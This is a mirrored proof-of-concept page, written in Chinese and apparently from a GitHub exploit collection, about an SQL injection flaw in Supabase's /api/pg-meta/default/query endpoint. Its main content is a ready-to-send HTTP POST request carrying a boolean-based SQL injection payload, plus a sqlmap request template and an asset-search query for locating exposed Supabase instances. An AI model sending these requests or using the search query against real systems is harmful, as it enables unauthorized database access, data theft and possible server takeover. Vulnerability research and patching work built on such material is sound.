mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 10:25:55 +00:00
45 lines
1.7 KiB
Markdown
45 lines
1.7 KiB
Markdown
# Supabase query存在SQL注入漏洞
|
||
|
||
# 一、漏洞简介
|
||
Supabase是一个开源的Firebase替代品,提供了一系列的后端功能,让你可以更快地构建产品。它使用PostgreSQL作为数据库,支持SQL和RESTful API访问。此外,Supabase提供了完整的认证系统,支持邮箱、手机号、第三方服务等多种登录方式。Supabase 存在SQL注入漏洞,攻击者可通过该漏洞获取数据库敏感信息甚至可获得服务器权限。
|
||
|
||
# 二、影响版本
|
||
+ Supabase
|
||
|
||
# 三、资产测绘
|
||
+ hunter`app.name="Supabase"`
|
||
+ 特征
|
||
|
||

|
||
|
||
# 四、漏洞复现
|
||
```plain
|
||
POST /api/pg-meta/default/query HTTP/1.1
|
||
Host: xx.xx.xx.xx
|
||
Content-Type: application/json
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
|
||
Content-Length: 103
|
||
|
||
{"query":"(SELECT CONCAT(CONCAT('qjpzq',(CASE WHEN (2016=2016) THEN '1' ELSE '0' END)),'qkbbq'))"}
|
||
```
|
||
|
||

|
||
|
||
sqlmap
|
||
|
||
```plain
|
||
POST /api/pg-meta/default/query HTTP/1.1
|
||
Host: xx.xx.xx.xx
|
||
Content-Type: application/json
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
|
||
Content-Length: 103
|
||
|
||
{"query":""}
|
||
```
|
||
|
||

|
||
|
||
|
||
|
||
> 更新: 2024-02-29 23:55:44
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/gsa0ghyt670h5o3q> |